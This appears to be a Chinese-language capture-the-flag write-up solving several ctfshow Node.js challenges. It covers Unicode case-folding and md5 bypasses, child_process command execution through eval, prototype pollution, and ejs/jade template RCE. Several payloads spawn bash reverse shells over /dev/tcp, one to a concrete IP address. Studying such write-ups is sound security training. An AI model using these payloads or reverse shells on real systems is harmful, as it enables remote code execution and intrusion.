login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
}
可以看到user.js文件中账号密码都已经给出,我们需要login文件中的判断语句为true
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
我们需要 name的值为 大写的 ‘CTFSHOW’,又要不等于’CTFSHOW’,我们需要利用toUpperCase()方法的特性
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
字符İ会转变为i,字符K会转变为k。
payload:
username:'ctfſhow'
password: '123456'
execSync是child_process库里用于执行系统命令的一个方法,参数直接是命令
require('child_process').execSync('cat f*').toString()
spawnSync是child_process库里另一个执行系统命令的方法,与上一个方法不同的是,该方法命令和参数是分离的
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('cat f*')
这里使用了声明变量拼接绕过,类似于python的模板注入和RCE里的拼接绕过
题目源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if (a && b && a.length === b.length && a !== b && md5(a + flag) === md5(b + flag)) {
res.end(flag);
} else {
res.render('index', { msg: 'tql' });
}
});
module.exports = router;
这里要满足以下条件语句
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}
需要传入a与b参数,并且它俩的长度要相等,但变量自身不相等,而且它俩和flag拼接到一起后经md5加密的结果也要相等
payload1
?a[0]=1&b[0]=1
这里是传入数组,数组中都只有一个成员故length相等,我理解的是由于不是同一个数组所以两数组也不等,然后md5加密后的结果相等的原因,应该就是数组里的成员是相同的,故加密结果相同
payload2
?a[x]=1&b[x]=2
这里存入的是对象形式,在JavaScript中对象可以当做键值对的容器,类似于python里的字典,然后对象并不具有length属性,故返回为空,从而空空强等于,然后两个对象的成员不同,故不等于
然后加入以拼接的形式输出对象本身的话,只会打印出**[object Object]**这一字符串,并不会打印出成员,如图所示
故这两个对象拼接flag变量后经md5加密相等
看题目代码关键部分
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
看代码,只要让secert.ctfshow==='36dboy’就能输出flag。最主要的漏洞代码还是copy的一个递归调用函数
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
它会for循环遍历object2中的键,如果这个键名在object1和object2中都存在,那么就调用copy函数,否则将object2的key赋值给object1。我们可以控制object2,如果object2中的key设置为_proto_,就可以原型链污染了。我们将object2赋值为
{"__proto__":{"ctfshow":"36dboy"}}
我们想让__proto__为键名就必须要json语法格式,不然的话,__proto__就会识别为原型而不是键名,所以在key遍历时也只有ctfshow这个键名了。
一个demo
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);
运行上面的方法会发现query有了新的值
当变量没有被声明或引用赋值时,便会去上一级Object对象中查找该变量的值
payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
}}
题目关键部分源码
//app.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
//这次的目标数组需要往上两层才可以污染到object
和上一题相同都需要利用定义函数的构造函数Function来反弹shell,payload
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}
这道题没了上面可以执行命令的语句,要用到 ejs 模板引擎的RCE漏洞,这个漏洞也是上面几个题的通解(漏洞详细)
可以看到, opts
对象 outputFunctionName
成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined
,这样在 574 行时,if 判否,跳过
但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object
类创建一个成员 outputFunctionName
,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName
赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE
在该题目中需要向上两层才能污染到object
payload
{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}
该题是jade模板引擎的RCE漏洞(漏洞详细)
payload
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}
//同样是向上污染两级
POST发包访问login路由(注意添加红色框内请求头),然后再次随便发一下包即可反弹shell
payload
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}
//同样是向上污染两级
操作和知识点和上一题相同
题目源码
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if (req.url.match(/8c|2c|\,/ig)) {
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if (query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true) {
res.end(flag);
}
else {
res.end('where is flag. :)');
}
});
经分析满足该if语句即可得到flag
query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true
可以看出我们传一个符合条件的JSON数据即可,但是该正则将逗号及其相应的URL编码都给禁了
if (req.url.match(/8c|2c|\,/ig)) {
res.end('where is flag :)');
}
这是我们要处理的payload,要让其没有逗号
?query={"name":"admin","password":"ctfshow","isVIP":true}
这里要说一个特性,JSON.parse()函数在处理数组时会把数组里的成员都用逗号拼接成一整个字符串,然后进行解析
例如
var a = ['{"name":"admin"','"password":"ctfshow"}'];
var query = JSON.parse(a);
console.log(query);
//拼接为['{"name":"admin","password":"ctfshow"}']
输出
{ name: 'admin', password: 'ctfshow' }
所以我们的payload要分开传参,构成数组,以此来绕过逗号,payload为
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
//这里ctfshow写为%63tfshow的目的是前面的双引号经过URL编码后为 %22 然后和字母c组成 2c 被正则过滤,所以要对字母f进行URL编码